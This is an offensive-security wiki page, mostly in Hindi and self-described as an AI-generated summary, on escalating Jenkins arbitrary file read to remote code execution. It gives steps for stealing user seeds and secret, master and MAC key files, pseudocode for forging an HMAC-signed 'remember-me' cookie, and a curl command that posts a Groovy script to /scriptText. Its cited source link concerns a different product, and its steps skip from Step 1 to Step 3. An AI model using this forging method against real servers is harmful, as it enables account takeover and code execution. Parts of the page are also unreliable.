Jenkins Arbitrary File Read to RCE via "Remember Me"

Support HackTricks

इस ब्लॉग पोस्ट में एक शानदार तरीका है कि कैसे Jenkins में एक स्थानीय फ़ाइल समावेशन (Local File Inclusion) की कमजोरी को RCE में परिवर्तित किया जा सकता है: https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/

यह एक AI द्वारा बनाई गई संक्षेप है उस भाग की जिसमें एक मनमाना कुकी का निर्माण RCE प्राप्त करने के लिए किया जाता है, जब तक कि मेरे पास खुद का संक्षेप बनाने का समय नहीं है:

Attack Prerequisites

  • Feature Requirement: "Remember me" सक्षम होना चाहिए (डिफ़ॉल्ट सेटिंग)।

  • Access Levels: हमलावर को Overall/Read अनुमतियाँ चाहिए।

  • Secret Access: प्रमुख फ़ाइलों से बाइनरी और पाठ्य सामग्री पढ़ने की क्षमता।

Detailed Exploitation Process

Step 1: Data Collection

User Information Retrieval

  • प्रत्येक उपयोगकर्ता के लिए $JENKINS_HOME/users/*.xml से उपयोगकर्ता कॉन्फ़िगरेशन और रहस्यों तक पहुँचें:

  • Username

  • User seed

  • Timestamp

  • Password hash

Secret Key Extraction

  • कुकी पर हस्ताक्षर करने के लिए उपयोग किए जाने वाले क्रिप्टोग्राफिक कुंजियों को निकालें:

  • Secret Key: $JENKINS_HOME/secret.key

  • Master Key: $JENKINS_HOME/secrets/master.key

  • MAC Key File: $JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac

Token Preparation

  • Token Expiry Time की गणना करें:

tokenExpiryTime = currentServerTimeInMillis() + 3600000  // वर्तमान समय में एक घंटा जोड़ें
  • Token के लिए डेटा को संयोजित करें:

token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey

MAC Key Decryption

  • MAC Key File को डिक्रिप्ट करें:

key = toAes128Key(masterKey)  // मास्टर कुंजी को AES128 कुंजी प्रारूप में परिवर्तित करें
decrypted = AES.decrypt(macFile, key)  // .mac फ़ाइल को डिक्रिप्ट करें
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")

Signature Computation

  • HMAC SHA256 की गणना करें:

mac = HmacSHA256(token, macKey)  // टोकन और MAC कुंजी का उपयोग करके HMAC की गणना करें
tokenSignature = bytesToHexString(mac)  // MAC को हेक्साडेसिमल स्ट्रिंग में परिवर्तित करें

Cookie Encoding

  • अंतिम कुकी उत्पन्न करें:

cookie = base64.encode(username + ":" + tokenExpiryTime + ":" + tokenSignature)  // कुकी डेटा को Base64 में एन्कोड करें

Step 3: Code Execution

Session Authentication

  • CSRF और सत्र टोकन प्राप्त करें:

  • /crumbIssuer/api/json पर एक अनुरोध करें ताकि Jenkins-Crumb प्राप्त किया जा सके।

  • प्रतिक्रिया से JSESSIONID कैप्चर करें, जिसका उपयोग याद रखने वाली कुकी के साथ किया जाएगा।

Command Execution Request

  • Groovy Script के साथ POST अनुरोध भेजें:

curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
  • Groovy स्क्रिप्ट का उपयोग सिस्टम-स्तरीय कमांड या Jenkins वातावरण के भीतर अन्य संचालन को निष्पादित करने के लिए किया जा सकता है।

उदाहरण curl कमांड यह प्रदर्शित करता है कि कैसे आवश्यक हेडर और कुकी के साथ Jenkins को अनुरोध भेजा जाए ताकि मनमाना कोड सुरक्षित रूप से निष्पादित किया जा सके।

Support HackTricks

Last updated